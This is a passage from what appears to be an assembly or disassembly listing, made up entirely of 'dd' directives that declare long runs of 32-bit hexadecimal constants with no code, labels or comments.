		dd 0F609E1A2h, 8041E344h, 4A37DA10h, 9E3A1DB0h,	16460F6Bh
		dd 0E6C32A4Eh, 1901B6F2h, 0F4387052h, 90FBB91Ch, 373134h
		dd 0FD78A926h, 0C994D1D9h, 0F5F4C4Ch, 0A0080B06h, 0CC540F24h
		dd 422E00D8h, 12A66E76h, 0B400F461h, 7AC3F05Ch,	12C4171h
		dd 5E32ED1Ch, 40E263B8h, 1098FFCh, 0B976FC09h, 98DCA035h
		dd 68D217h, 0EE5E3A94h,	0F7B3EDBAh, 0C988E300h,	0EF09F9DFh
		dd 0FEAC0FD3h, 4D1F877Bh, 0D0C0A8F1h, 82034AB2h, 0AA34277Dh
		dd 55BEF005h, 30BA0798h, 0C08558EAh, 509B41F6h,	0AC547300h
		dd 1CD9FE8Bh, 0BE4E0099h, 0F27FD6D5h, 0E00B162h, 0D31AAF11h
		dd 5D2A0Ch, 0EC7A2644h,	0B089031Eh, 0DAFCEE4Ah,	0A03EC801h
		dd 241FBAE6h, 0E9F66684h, 0BBB03Eh, 5269B5A9h, 1C35033h
		dd 0B84B07FBh, 40587975h, 0BF6EFEE3h, 6B10CC0Ch, 271190h
		dd 9C8DB475h, 4AB7152Ch, 0C408EC03h, 0DD35A3C1h, 34C0C684h
		dd 4DA659Bh, 0CE8D153Ah, 7C4C8056h, 0D32ABA5Bh,	2A22A8C1h
		dd 25A7380Ch, 91565D0Bh, 0CFADAD80h, 5F1E8DFCh,	16C053D1h
		dd 29D3A20Bh, 0F87E73h,	66AB46Ch, 7EBDF02Fh, 9DFCA003h
		dd 0A1ED24F3h, 58F1E3A1h, 0B3C6BC40h, 5A080CB7h, 2120D41Ch
		dd 43005775h, 0CDC10E2Fh, 0E8C12FCh, 528FAB16h,	668E8160h
		dd 64061771h, 7AE338E1h, 3EB31CE0h, 26FB409Ch, 0A67776F5h
		dd 0EF5BBA00h, 99506133h, 28D6006Bh, 0F27E7F13h, 6200F0B3h
		dd 5C4B1577h, 0EA8CEAD8h, 0EF50088h, 0FD73DEEh,	0E200061Bh
		dd 6F821FBFh, 0F65F17h,	0E85A7F81h, 0EEF10709h,	0FA56302Eh
		dd 0A097CF0Fh, 0EBE281A2h, 47D300F9h, 0A8625378h, 1E705BBBh
		dd 71EDC10Fh, 7C8A20EEh, 0EF8659h, 2A98023h, 9E44957Fh
		dd 7DF851F2h, 19BBE200h, 0CF11259Fh, 4C60FD16h,	0FEC95h
		dd 0CDAE3359h, 0AF3EFD1Bh, 0A3E84000h, 32C0626h, 786A00D4h
		dd 4E334F91h, 0FB00ED7Ch, 8E7F4DCFh, 0BB18C5h, 0D5371DBAh
		dd 0FC89AC6Dh, 60450A01h, 9E5A4120h, 3A27ECh, 3832C58Bh
		dd 1A599FCBh, 0A50154FEh, 97C85831h, 98C0859Dh,	0D2A70035h
		dd 0E353554Dh, 520009E2h, 0A90DD139h, 0C0F808h,	88F095A7h
		dd 0D9CE89BFh, 0B004F70h, 0E55BAB54h, 5481BFAh,	2FA5615Ah
		dd 0DED8C85Eh, 786D8700h, 0E8064B4Dh, 64EF0BF3h, 97805B94h
		dd 0C60B0D9Fh, 41857700h, 0AD147AA8h, 0C9E53817h, 5ECB8A8Fh
		dd 2FC7F640h, 7DFED512h, 0AE5C7709h, 0B558489Fh, 0AF7E00EFh
		dd 6509151Fh, 8D53D760h, 3F019D10h, 3B99F514h, 3048C705h
		dd 0F4067A7Fh, 3A4D4600h, 0F0FBD01Fh, 74F70F28h, 26C057FAh
		dd 0FCAE02A0h, 0C5CBCCEFh, 161E0D06h, 9CE080h, 35719538h
		dd 0D93174BBh, 4A6480A8h, 0DACD8F1Eh, 7D37A541h, 0CC2934BAh
		dd 8423BE00h, 0B5F497A0h, 960CCE50h, 0F7279400h, 0F57C3921h
		dd 0D2773AACh, 0BC15C380h, 0DE2C0B05h, 9B160E1Dh, 0C0D72040h
		dd 0C97A8Bh, 60593895h,	0EB07F947h, 47581E26h, 1FC11D3Ch
		dd 0DC99DFD8h, 198806E2h, 79CF024Fh, 60BA5838h,	4B787458h
		dd 7F0D0045h, 0DA182C8Ah, 5F034403h, 0EE583BC2h, 64291012h
		dd 6E7A7A49h, 9D4E6A3Bh, 3D00890Ch, 514863FEh, 648F38C2h
		dd 8C8625F8h, 0EB051776h, 400F113h, 1A29ED74h, 0AE4003Ch
		dd 66D3876Eh, 0A300BDCAh, 0DFD4DD73h, 788B41D8h, 0E7D0072Ah
		dd 2248F0A4h, 77C0E94Fh, 6C01FEA5h, 71BFCB56h, 0AC705B51h
		dd 8A98009Ch, 15879316h, 7F009A28h, 64853EE6h, 77961FC5h
		dd 6AD8F374h, 50A10292h, 576928A2h, 0CBC06961h,	0EC6577D1h
		dd 0F1038404h, 10F21AD7h, 0E4BCD0D8h, 1359EC93h, 0E8AF9F41h
		dd 0FA382Fh, 859EB7DDh,	3F86B91Fh, 0D6004519h, 0DAE54ABFh
		dd 9901F7A9h, 6E0B7A56h, 6B308A47h, 926800DDh, 4DFB3201h
		dd 2D00403Fh, 1EE06FA8h, 757BD1h, 5C1452Fh, 174F27BEh
		dd 880B6700h, 5AB88FD4h, 0C7B9008Ch, 5C9A46C9h,	42055338h
		dd 3C693EDBh, 0A18BC180h, 2A80A0AAh, 44A70171h,	0F9FC9266h
		dd 4D2411Fh, 0CA65D4D1h, 6C6F5701h, 37662D0h, 6D42ECh
		dd 7CB6D30Ch, 489FD965h, 31526000h, 561501C9h, 2704A0C4h
		dd 0DEB40049h, 52894348h, 8A7C846Ah, 0A94FE4A0h, 0C36F980Eh
		dd 241F442Ah, 0B4802EC4h, 0FCAD5Fh, 741A2B0Ch, 0ABFB4006h
		dd 3D00ED49h, 0E4A80BCh
		dd 5C422A39h, 0CD231CDDh, 1D017EB4h, 8D5113C3h,	768060D0h
		dd 9F5A9102h, 607B699Bh, 0C04259C7h, 43CEA49h, 0CD6046FFh
		dd 0D3A52310h, 0D6751DC0h, 3A1901A1h, 40C68226h, 0F8D7AE84h
		dd 0BE570A00h, 0E17535EFh, 528300E5h, 5EAFE9E2h, 0AE73E4DFh
		dd 0A44AB105h, 4568BF1h, 5300B2ACh, 0F6C2C8C9h,	4E303BD6h
		dd 245B78CBh, 846852E6h, 0DFF85A80h, 80001A74h,	94E23BE5h
		dd 7F05BBCh, 8A915997h,	2A87801Bh, 4100A528h, 9542EAE6h
		dd 13AC14Eh, 0CDE58A93h, 80DD5708h, 0BF1B5668h,	718CCC6Bh
		dd 0F5C1002Dh, 62C41760h, 0A600C0A7h, 714D966Ch, 43259Ch
		dd 1AE450B9h, 9890E98Bh, 0A6659100h, 0CBE2F8D6h, 36AE1E4Bh
		dd 0A4BFC074h, 0CC5E5AAh, 73874001h, 5219C6A0h,	70277260h
		dd 7EAEC72h, 293CCEEBh,	57D250E4h, 890281A8h, 4E7AF031h
		dd 0B30B60D7h, 0BC290ED8h, 0E964AF22h, 7BAB80C5h, 1105CCE5h
		dd 8A9F9114h, 8235EF80h, 0BA520E37h, 567DDCh, 0F284735Ah
		dd 700EF865h, 0DB585BC9h, 0C0A4C2E0h, 1AC1858h,	7A1E9642h
		dd 248AF537h, 0DA381407h, 0C6B98091h, 473DABA9h, 953407A4h
		dd 805CD632h, 0EB3E25DCh, 0BFD18C00h, 0A0CE238Dh, 9085F103h
		dd 0C20A2D6Ah, 286091D0h, 16030CAAh, 33A61FC4h,	39B58043h
		dd 0A2861C6Bh, 346C24Fh, 4040E548h, 0BE00D671h,	7029931Dh
		dd 2D9BA75Ah, 7EDC8BB9h, 7AF70500h, 2C6CA53Ch, 24AAA0h
		dd 4A5733D8h, 150014BAh, 52F49985h, 5469749h, 0CCE901E2h
		dd 1E8464h, 0E8DA7FC0h,	1039B59Ah, 0CBE0005Fh, 2C5ABD24h
		dd 0ECC800B0h, 433D2FBAh, 5B009D79h, 0FB8C6CEAh, 0E51DA9h
		dd 0B70C2978h, 67AC4113h, 0D8876800h, 8CA29A10h, 0BADB0022h
		dd 0DC5F9BB6h, 0EE09E71h, 0EF26E800h, 74AC9691h, 0DF4503B7h
		dd 375FBAD7h, 7588DBABh, 0D304C0AFh, 0C772775Ch, 9B1EB080h
		dd 6BA0009h, 0E0D9036Eh, 0A47F39A6h, 0B03D1274h, 0DF3480CEh
		dd 0D5BB884Fh, 0B82728BCh, 0A5530004h, 9E248315h, 86000692h
		dd 0C6FC7EEBh, 59B44BA3h, 610018BCh, 8F2EE7A6h,	833FC22Ah
		dd 0D328096h, 70788891h, 773507A0h, 30F61308h, 0BE438F11h
		dd 0D31EBD00h, 8295F388h, 767D3851h, 57383580h,	2FA9DD6Eh
		dd 0F2003E74h, 8F0FE39h, 603572BAh, 0D3634831h,	7900F48Ch
		dd 28EE5CBEh, 646E3h, 0BBBDB302h, 26E64A82h, 7E95780Fh
		dd 9D62E0A2h, 4F3D6F7h,	73E1EE93h, 36648163h, 0E9D0FBDEh
		dd 9E503E99h, 70718A64h, 34AB0E00h, 4E722188h, 0E178009Dh
		dd 86D0A8Fh, 100698Bh, 0F77F46F9h, 29E6B81h, 0D3F2FF37h
		dd 78402E5Dh, 8B75A0CAh, 0AB93680Eh, 0CB08408Ah, 54E6Fh
		dd 1B910FC1h, 0F4BA0461h, 0D9419F00h, 0D3DFF67Ch, 0FB20005Bh
		dd 704FEC98h, 0A076748Bh, 0DD0903F4h, 20E3ACB1h, 4C01FC4h
		dd 8D41005Dh, 7654FEC5h, 9700D9A3h, 0FF189E5h, 9931FF4h
		dd 0ECE225EDh, 0C3A5A0A2h, 0B297BAC0h, 43002FFEh, 5830D2A1h
		dd 0BE1100Ch, 68279867h, 0EE65E003h, 0F0CF11D8h, 56E79300h
		dd 5E090A05h, 448F013Dh, 90C7FC9Eh, 0AA5AF040h,	63651900h
		dd 0F0D1E5EDh, 0FE6A001Dh, 9B5E022Ch, 7072E460h, 87BF2F03h
		dd 0E0622238h, 0C011B366h, 0FF48C728h, 7CE840BEh, 0F1DB6D1Eh
		dd 86F3A900h, 1D5609A8h, 0D8661D91h, 3D98310Ch,	68C6E830h
		dd 0FCF10B71h, 0ED600AFFh, 802C6987h, 0DC3037B0h, 9518BD1Ah
		dd 0C588E92Bh, 0DB653CCCh, 4810A80Eh, 42F90220h, 9C903662h
		dd 0EA0311EEh, 1F31C0ABh, 0A9D1005Eh, 0A0D74D48h, 0EA745149h
		dd 0FE4B6900h, 0CADE95A2h, 7407999h, 0E75E22C5h, 0E475A26Bh
		dd 0A6050480h, 5690FDEAh, 0B572AD00h, 0C6BE616Eh, 0C71C00B2h
		dd 75D8146Ch, 7100C524h, 0E3D529CFh, 174D1039h,	91BAA7h
		dd 0F30CD6A5h, 3C5CA81Ch, 0E91A0C94h, 13D530C7h, 28DE2Bh
		dd 4CC2D1BDh, 4500EF4Fh, 0DB76881Ch, 9B0AFAh, 0E664E4A7h
		dd 0FF2BF036h, 0EEEBCB0Bh, 0C8D08607h, 0FBEF0048h, 48FCD09h
		dd 9300793Eh, 7DE547BAh, 0DED93Bh, 4D899ACBh, 16D5050Fh
		dd 75B3AE00h, 48A8E8B9h, 3ED97DFEh, 6883A667h, 0C65718B2h
		dd 8E7F583Ch, 605CA2C8h, 72351AB3h, 1815E0B4h, 40B8CB27h
		dd 81006FD2h, 0D9555F40h, 654D99h, 6623B9D1h, 9C389B5Ah
		dd 8FA02900h, 80D606FAh, 3FAF001Ch, 538443D2h, 6E0EC796h
		dd 207A9149h, 51406C6Dh, 0C5DC00B4h, 0CEA01E14h, 6578E699h
		dd 100CDFE0h, 181CF0C8h, 0F1C2018Dh, 8F308575h,	0B4B5F4FBh
		dd 88441000h, 79DF5442h, 142F00BFh, 4D16B3CEh, 7492D6A8h
		dd 0E63C4600h, 237C139h, 3F2900C9h, 0F8EB43CCh,	9860D7F2h
		dd 385F52B8h, 12BE5C96h, 0C5CE9D0Ch, 3B00CB41h,	0EE91080Ch
		dd 9A6204h, 0AE641AF7h,	3AB73412h, 23A480h, 31FEBFE0h
		dd 0F9D0B415h, 40033772h, 0D692F352h, 84AC00C9h, 859B9796h
		dd 14302C0Ch, 72D241C3h, 2F4C0059h, 3884CD20h, 1100B6FCh
		dd 0CFC05D3Fh, 5B55D336h, 9D320380h, 38002579h,	5C2D1875h
		dd 0AD73BC0h, 0ACBBB907h, 0FF8200D8h, 2FD1E1D9h, 3BC843Ah
		dd 7A30B4B0h, 95D48823h, 8672004Fh, 4ABA26E3h, 0EE003629h
		dd 6BB9CB12h, 36E2F98h,	0ECC00AF6h, 89909EADh, 37E40D5Eh
		dd 1151F77Ah, 226B6094h, 6A1DDFE2h, 0C7D4763Eh,	2AE2009Ch
		dd 0AA5F1232h, 709200B2h, 34EB4EE5h, 7849038Eh,	2DA800A4h
		dd 16219A7Bh, 0DD31FA2h, 25F60043h, 9D279CEBh, 2C76F00h
		dd 14AEDACDh, 824207C4h, 0B01DD53Eh, 0FE648DC6h, 0EE0089FCh
		dd 4401CA4Ah, 4FD92Fh, 0B5FA1E50h, 2AF70B4Eh, 0A8004890h
		dd 0A4CCA737h, 626D6A02h, 1EBE60C1h, 0C5A6F480h, 8003E17Ah
		dd 7729DD22h, 0F5A3C061h, 0F92C1876h, 3EE3D055h, 971B8D15h
		dd 82AB00C0h, 428B98FAh, 94A91C0Ah, 0D560EA3h, 5AEF3BC7h
		dd 80FC9D80h, 0AB0F6E60h, 0E5A007B9h, 53012EDDh, 0C886113Dh
		dd 0D4FCFA98h, 0B8D21EF7h, 0C38C1CEBh, 0ECDB78A8h, 9D420788h
		dd 1997E81Dh, 0C482BE42h, 1DA46067h, 0D035006Dh, 24337F3Ch
		dd 620092DDh, 0B744A590h, 7C517A8h, 19128D31h, 0CEC0801Dh
		dd 63C6378h, 83A100CFh,	60F1ABC1h, 6C5C043Fh, 8078715Bh
		dd 0CBB3CF01h, 4D578B02h, 601CEB14h, 715AFCh, 4C1DF4B0h
		dd 0C8D36BE9h, 9FE6B706h, 3EEC35Fh, 0F882317Bh,	0F1F81841h
		dd 43002264h, 8D2FBEAAh, 0EA6DA901h, 0B2C1001Eh, 0F9D1D45Eh
		dd 64000563h, 53C4201Ah, 0A3F98h, 0C79ECA3h, 3B945E4Bh
		dd 7305D200h, 36F64EC3h, 0C5800027h, 0EA22749Dh, 50003988h
		dd 5BEB5ABBh, 73BD18h, 0A86679D0h, 0E37C2984h, 0F19BC100h
		dd 819D990Bh, 0E0B01F17h, 4EDEC03Eh, 0B9ED9F33h, 655E4A14h
		dd 0AC3200ACh, 2A8983D8h, 0B82007Eh, 0F9851170h, 0F5386B69h
		dd 514880E1h, 6C40C531h, 424B3A2Bh, 68003338h, 782E2805h
		dd 77ECD9F3h, 82E18102h, 60C91DE7h, 45D470h, 4852FA3Dh
		dd 9DBC195Ah, 0E2A76A00h, 95EFDA9Bh, 0E98EAD2h,	275CFBBEh
		dd 0E00457E7h, 7526992Ah, 85381B7Ah, 0BB3D80BAh, 3851BDC9h
		dd 54C41FF0h, 53C10005h, 813B135Ah, 0CBDFA80Eh,	2ACF10h
		dd 8F950A88h, 13403FFDh, 0D8774E04h, 0FB25C2A5h, 22592840h
		dd 0F2DA4818h, 0B549F4h, 2D5388B0h, 0C8091358h,	719A5500h
		dd 0EF5E5CBCh, 0E1DD003Ch, 0FC1ED454h, 7001E0B3h, 1299B96h
		dd 2F60FF4Fh, 32911DCCh, 0C1F807F3h, 0E35D00E5h, 4A006A95h
		dd 72B2FFF9h, 0E03ABDh
		dd 2B25DDC2h, 830FD401h, 42791B01h, 0EE7E704Ah,	6C7CFCCh
		dd 0F75ADF4Ch, 0E7E8B0FDh, 0C3EAC800h, 81B5D8F6h, 206D24B1h
		dd 0A004021Ah, 0F6C1A9A6h, 5BD024FDh, 0F7642C16h, 7C9D2200h
		dd 0F557637h, 500FFE2Ah, 0BC00220Bh, 0FC887760h, 130BDDB0h
		dd 8212E12Bh, 408DC002h, 0BD9072h, 40CA76B1h, 0FC9DCE18h
		dd 0E00937Ch, 22D10A62h, 783A83h, 5BC05572h, 8F9A88A7h
		dd 0E9D7A00h, 0A4F2EB8Eh, 0F87200BCh, 34701A8Ch, 0FC3CA6B0h
		dd 2BC58078h, 18434B64h, 38157F84h, 0F1AED4EDh,	7338007Fh
		dd 3E6D14A3h, 0F2323A00h, 0A07FBF6h, 0A07700D9h, 8B2AC761h
		dd 0F015790h, 933D3640h, 16F82E12h, 274D5CB9h, 325B1E00h
		dd 0ECE9C703h, 0B7108A00h, 9B9486C4h, 0A214003Ah, 95357F28h
		dd 0FE00B3E2h, 8E134F49h, 8BE336h, 0D64BE96Ah, 9A8DF506h
		dd 688F5C01h, 2447887Eh, 0BA3D8h, 22914397h, 0CD40949Ch
		dd 0E559DE1Eh, 0B429BC80h, 0E64063Eh, 0D727B23Ah, 0E6D054C0h
		dd 0F6F09883h, 0A004C70h, 0F0FEC319h, 3ADABFDh,	0C109347Bh
		dd 0D2D807D6h, 6B00F7B1h, 0CA8C20CFh, 429564h, 16868FBDh
		dd 67E4A822h, 6B4C5218h, 0C15D968h, 1E094DB0h, 8BB01D11h
		dd 10C004FCh, 0E18804Ah, 0EFDC000Fh, 2744E499h,	350E286Ah
		dd 8177B322h, 8F6C5DA7h, 0C5D72882h, 2093B550h,	0D1D9C0C7h
		dd 52076FE1h, 3676FF53h, 0D0D5FD40h, 285060C2h,	0FCF5E71Bh
		dd 6E0E99A0h, 0C0E938E8h, 0B528068Dh, 820C2816h, 0B8D329A6h
		dd 12F70F51h, 2C803D22h, 0F6A333ACh, 0BD2B6200h, 384051Bh
		dd 0F11500B2h, 5D0E348Ah, 66001C57h, 0EAED5567h, 1438FAFh
		dd 18B7EF51h, 0D8CE5E1Ah, 0C2008B21h, 0A5DDEB78h, 1DFEC7D9h
		dd 401AA1BDh, 5EC395C0h, 0CD1C975Fh, 100952DDh,	1666004Eh
		dd 1B242h, 0FE5D2E25h, 0C5A930CAh, 43A68900h, 0FCC42C6Ch
		dd 0AD553C8Bh, 0CEC7110Fh, 5F646A01h, 3B7040F8h, 7100E88Bh
		dd 5609D88Dh, 0E80E1098h, 4E21C01Ah, 869FEBF3h,	0A849FD02h
		dd 41242044h, 2730AD42h, 4E60070Eh, 9F841B50h, 0CF691E80h
		dd 0FE2817FCh, 647CB42Ch, 50450B18h, 6A37918h, 30C47A8h
		dd 0D2A12129h, 56BC6018h, 5D2A11C0h, 0E8D752A7h, 0D12919B0h
		dd 242E0845h, 541F9758h, 67807CA7h, 91C9192h, 516106CFh
		dd 980C1DB1h, 0AC376C07h, 0F9DD17E9h, 0EB0C30CAh, 0F08D0834h
		dd 801D7C48h, 11EBF45Bh, 6E005758h, 0B5094831h,	24B2D7EAh
		dd 3168C6D8h, 4E3960h, 1C2A48Bh, 0B8D4A64Dh, 0F49E5E6Ah
		dd 5900513Eh, 326CD2E9h, 0AA60DCh, 7EF570B0h, 0D7B87107h
		dd 1ADA4500h, 43444006h, 89A700C4h, 23DDBB28h, 0FA099031h
		dd 0FB0FBB9h, 26000DCh,	702A6AC2h, 7BFC5818h, 2DBAEC00h
		dd 0CBFA80B7h, 21B3A102h, 40E75AB0h, 7A52E20Bh,	830B0060h
		dd 0F53316E8h, 0A11F82B6h, 22008185h, 0E2C0A72Ch, 2969628Ah
		dd 0EE23296Ch, 611DE476h, 94B58408h, 0FE182890h, 2FDA299Ah
		dd 8B441488h, 4B4840ACh, 0FA47F0AAh, 1CFF0041h,	76FD9328h
		dd 0F93E972Ah, 649600DAh, 98145F55h, 13491830h,	32A4099Eh
		dd 0FF2D4F07h, 0D0E04E25h, 1595E2h, 0C392C451h,	944F1CFAh
		dd 0A1DF7C18h, 0F85A619h, 0E01F4B40h, 6503FEE0h, 0AC0EA7A5h
		dd 80F05A75h, 0A2EDA8BBh, 70420083h, 12DAE386h,	927624FFh
		dd 0BC21693Fh, 0CFC406AAh, 1D30AF43h, 4378EBB3h, 0E4567EF0h
		dd 0DB6C08A0h, 0B609F600h, 672C26ACh, 0B3750005h, 348F068Ch
		dd 1500BEADh, 9A3357D0h, 262369h, 9B544ED2h, 1839B993h
		dd 52222107h, 0C6A0EB9Ch, 8F4B51h, 1B5717B3h, 2061507Ch
		dd 0C459CE03h, 880CE9F3h, 0AFB4EC9h, 0E89DAA15h, 0EE6800F8h
		dd 0F53EF1DCh, 444BAE1Fh, 0C6F30DC0h, 2C36F01h,	2C1CA396h
		dd 3F4036CFh, 0E207D6FFh, 0F85D6594h, 0C45EF2D0h, 0BFB70CF6h
		dd 3F116115h, 0E6884207h, 840DC5Ch, 0BECA8Ah, 837176F8h
		dd 7E30144Eh, 0CD078E00h, 67B4219Fh, 0C09B0053h, 4F24D53Ch
		dd 0FB000368h, 6ABAE895h, 3E66DF5Ah, 56BC26ADh,	2A8F3C00h
		dd 15122BEh, 0A1EC3100h, 3E7C8CC6h, 4DE8C8h, 0E4FA62CAh
		dd 4749A98Eh, 1E0DB100h, 8818F80h, 65010083h, 0BE3E82FAh
		dd 4002396h, 0D3EC4032h, 72EE980h, 204255E7h, 0F9F00AEh
		dd 30FFA1Ch, 804B08F9h,	4C35706Dh, 2EDB005Ch, 0CB142817h
		dd 13035172h, 44E5429Ah, 0FE35C0C7h, 6F1600F4h,	1A03199Bh
		dd 0D0FFF002h, 0B62EB5DEh, 9924A0C1h, 47E7BD00h, 45FDDCh
		dd 0D7A9AA17h, 42057D93h, 0A700CEB0h, 9F5E15B6h, 24B1014Eh
		dd 17D4E60Bh, 0CA980763h, 0C9AF402Bh, 0EF00B73Bh, 2622BCE5h
		dd 9905D0h, 0D7B9079Bh,	0CEB8C5DDh, 3DA29406h, 3486E3h
		dd 439B7AC8h, 0C29879DEh, 622674Ch, 0BA62D7CCh,	76EE09h
		dd 81D2FCE5h, 9A087BDEh, 5E48C8B0h, 0C5007119h,	0FC6B430Fh
		dd 1D973037h, 404720B7h, 9172D59Dh, 5A0787D6h, 31E1107h
		dd 80B34082h, 3A683BA4h, 0A5F71FBEh, 0A228C0ADh, 0ECA9849h
		dd 758DC100h, 7964334Bh, 35D80016h, 0E5741E19h,	8900EE81h
		dd 8B410A38h, 83C1F9h, 20252234h, 5A3A19B7h, 8045B007h
		dd 4C3E909h, 53FAA015h,	94BD05F9h, 0C1DDA8h, 5751CD8Ch
		dd 0A500197Ch, 0B148173Ch, 11AC5E0h, 0F8EC3726h, 0E1381FD2h
		dd 0EA67F493h, 58F01490h, 0DEE0D718h, 90A6B11h,	6C945A04h
		dd 5F302A80h, 0B9009E79h, 0A8FD505Bh, 0A0C1A318h, 57B1B5h
		dd 0C3219A2Fh, 0F1482658h, 0EAF4C00h, 7E8333B3h, 0B5283C74h
		dd 0D9623C00h, 1E2FBE4Ah, 0D02ECC12h, 0A4296500h, 0FEF559BFh
		dd 13C530F9h, 0EE42652h, 6FA89A0Eh, 4D9CA18Dh, 0ED30C001h
		dd 0F4F60E4Eh, 9D60D965h, 4682B443h, 9C97A700h,	847E6726h
		dd 0E9B039Fh, 0FC606A4h, 0AC70BB8h, 28A8A760h, 0CF25ABh
		dd 0C8226C04h, 0AA94B67Dh, 424F62Ah, 0F5DB4800h, 0FADC4D3Bh
		dd 29D214B0h, 2800A62Fh, 0B46FA1C0h, 0D3C5569h,	6075802Ah
		dd 0E30AC99h, 0DF7345h,	5CF49CCh, 399F6F56h, 0C20964B8h
		dd 80D0FF61h, 0B44B2A6Dh, 0E27E006Eh, 0D840313Bh, 724DC34Ah
		dd 0ADF70220h, 60E10662h, 0CCC0804h, 0E05BD98Dh, 1D010194h
		dd 0E4CE35A0h, 0DC40DF96h, 4EA486h, 5EFEF541h, 0BFF2E008h
		dd 303F8C00h, 73F64594h, 5AC6000Eh, 899941B6h, 0B807553Eh
		dd 0B7EE3AF1h, 403178C7h, 5080C87Ch, 4CDE2279h,	0EF3B580Ah
		dd 0AA2000F6h, 8E62ADFh, 0C65000BAh, 3FB3313h, 7C0167EAh
		dd 71E7BB98h, 1020276Ch, 8B290012h, 80DF3862h, 9E380C43h
		dd 57950160h, 0AA8F81C1h, 1398F7FCh, 52FA44h, 7F8C9BA0h
		dd 49007EBDh, 0C36274B2h, 0E54BD4h, 0BEDF2C25h,	0DCA91261h
		dd 0D611FF1Eh, 9700ABD2h, 0E44FFA31h, 886B0055h, 0AF7A1F8Ch
		dd 1001CB3Eh, 9570C6Eh,	94209E33h, 52C719AAh, 402D5024h
		dd 0CCC88C3h, 424ACA00h, 0A4D65037h, 0DF41243Bh, 0B44600E4h
		dd 24F40C6h, 74648300h,	3A7C9737h, 5FEA14h, 33BADB5Dh
		dd 1360CB19h, 89C8430Fh, 6884C2A4h, 158E2F6h, 0E341FAE6h
		dd 43C9F8h, 0D65F2C67h,	1BACAFE0h, 4D909EB8h, 2100237Bh
		dd 781704ECh, 7CC22Eh, 0A829C6D9h, 61569CCAh, 0D8F42700h
		dd 0D59453Eh, 0E27C0169h, 0BEEF2FBAh, 0D4D4D181h, 3F587742h
		dd 8AFA047Ch, 10C39FC6h, 2B11C894h, 0F9707E7h, 0D029FCA9h
		dd 0DD1E03BCh, 0FFD6C700h, 0ED80CDECh, 3E700071h, 0CCB1D00Ah
		dd 7467BD17h, 8AB0283Eh
		dd 0E4B359F8h, 43A71B77h, 489061F5h, 0A100ED8Ch, 0DA557DA2h
		dd 141981AEh, 0D80D855Eh, 0F3778400h, 3B1AD8A5h, 0FB024300h
		dd 8174687Bh, 63CB1ED0h, 0C54403Ch, 8B7C5C9Ch, 0D223891Eh
		dd 7D7F0BC0h, 2B4E3Fh, 0EABBA00Fh, 91B3B35h, 700F57Dh
		dd 3FD5858Bh, 2F24EF9h,	7219F8A3h, 84E0C382h, 0CE00F4E8h
		dd 7D8B301Bh, 445CDCh, 1FEB8856h, 9E01D7ABh, 0CAFA5B00h
		dd 0CC61D689h, 53B40077h, 1A4F75B8h, 0D043656h,	60CE3705h
		dd 0A4A082BFh, 2F712840h, 706C5B00h, 756AC236h,	871E001Ch
		dd 64B210A7h, 0B100177Bh, 0A91FFA61h, 302F9501h, 250903A8h
		dd 442D9C3Fh, 0D161E009h, 0ED822C05h, 406C1F48h, 0CF290F5Dh
		dd 7A7830A4h, 317874F4h, 0D5D87B01h, 9D0DAB2Ah,	903DF8D0h
		dd 9F140060h, 11E99577h, 0FA03D6AFh, 0F57E61A2h, 0F7D5C9E1h
		dd 596820h, 79AE9533h, 0C4AB4224h, 7E16B279h, 78006FCAh
		dd 464B743Fh, 2FA90C5Ch, 2110391Ch, 5D80C504h, 6B003877h
		dd 0E44ECC5Eh, 1772C606h, 1F180F65h, 1FD75D49h,	0D1DAC04Ch
		dd 0E87CEA4Fh, 5FA5500h, 2B193AC5h, 91DB50A7h, 0AC181E63h
		dd 6ED70028h, 0DDA57772h, 0B34BD0EBh, 0CCCD426h, 5400EF10h
		dd 82B97DEEh, 8926E32Eh, 850E90E0h, 0C7960E42h,	0C1C0B5F5h
		dd 0E84508h, 63906813h,	8BC3299Ch, 643F90A0h, 0C2549213h
		dd 0F8773840h, 0E14C39h, 0FB8AB98Dh, 6CB792B5h,	5D9A5207h
		dd 27E0E8EFh, 4F96BAh, 0BD8CC1F8h, 360D61B7h, 55C60F00h
		dd 0F49715FFh, 3781002Bh, 0CEE1724Ch, 0B400D610h, 0A20FFEE0h
		dd 90619F9Dh, 2A0C001Dh, 5967B5C2h, 0D003A75Ah,	0C3C1E2DBh
		dd 78AF809h, 0EB907AEDh, 0CB2A080h, 13B3D832h, 0AED1271Dh
		dd 0ACD72D02h, 142868BFh, 29BC0E3Eh, 7142A89Eh,	480A90Ch
		dd 0AF0E18F4h, 0C7F9D312h, 0CA9BAC45h, 0EDD46480h, 0E3070143h
		dd 90F5B57Ch, 20BF61B6h, 0D90004E8h, 5F328FFAh,	348959h
		dd 0E4CF6511h, 229F4ECDh, 0BB4F3707h, 74E0069Bh, 903A1EB8h
		dd 63360FEFh, 18E079C3h, 4305A139h, 1DB96D00h, 0CF6A813Dh
		dd 68A900C8h, 8A60FAEAh, 0A8003874h, 0CC3F2A16h, 0A9BDD55h
		dd 0D3E5947Dh, 20C71680h, 0ECDECF08h, 1C44A300h, 7DBCA8B0h
		dd 4A22008Dh, 298BCAF8h, 8777C3A0h, 3D605Ch, 0BB045E4Bh
		dd 3A4D33F4h, 8181E7DEh, 87BF3F03h, 2A5D3063h, 85C75200h
		dd 0F1993ABDh, 2E90A5h,	224328Dh, 0C08FABE9h, 0AAFBA800h
		dd 46E5A7E3h, 543E0B30h, 0DE803B10h, 0D7DBC660h, 0CEA9FD00h
		dd 0E4AE62E7h, 16510037h, 6C52DE06h, 4C01B109h,	0BFCE0E83h
		dd 42F4894Dh, 0F5553AA5h, 68F6E700h, 0E322ECF3h, 0D92C2F00h
		dd 7E48FA46h, 0C38D0161h, 56EFDAC9h, 0D6E08B06h, 9BE8FA2h
		dd 74F0369h, 455E8874h,	0E2391F43h, 0FBD981F3h,	0C0D0DC19h
		dd 6D005DA0h, 3AA317A6h, 3F700BFEh, 68067FFh, 5B91D8Bh
		dd 8C90B75Ch, 7934130Fh, 0E001EE99h, 5B786C56h,	39C41E11h
		dd 0B7ECCBh, 791E0640h,	6A0003DFh, 902B860Eh, 0F151C4h
		dd 24605033h, 0EF4E3B69h, 37E03E00h, 0EEDA4F9Fh, 2CEB0007h
		dd 0F240EDBAh, 5E757B08h, 6E2C99ECh, 0AA00BAF0h, 0EE53C0D8h
		dd 97BECh, 0E75CD664h, 0E8E03C25h, 0D2A91A0Bh, 0EA36816Fh
		dd 9DECB524h, 0C3120071h, 6257BAEDh, 15126358h,	20001135h
		dd 0BDA18607h, 91A90BD2h, 7401E86Fh, 0E0EAD57Ah, 4B0375DBh
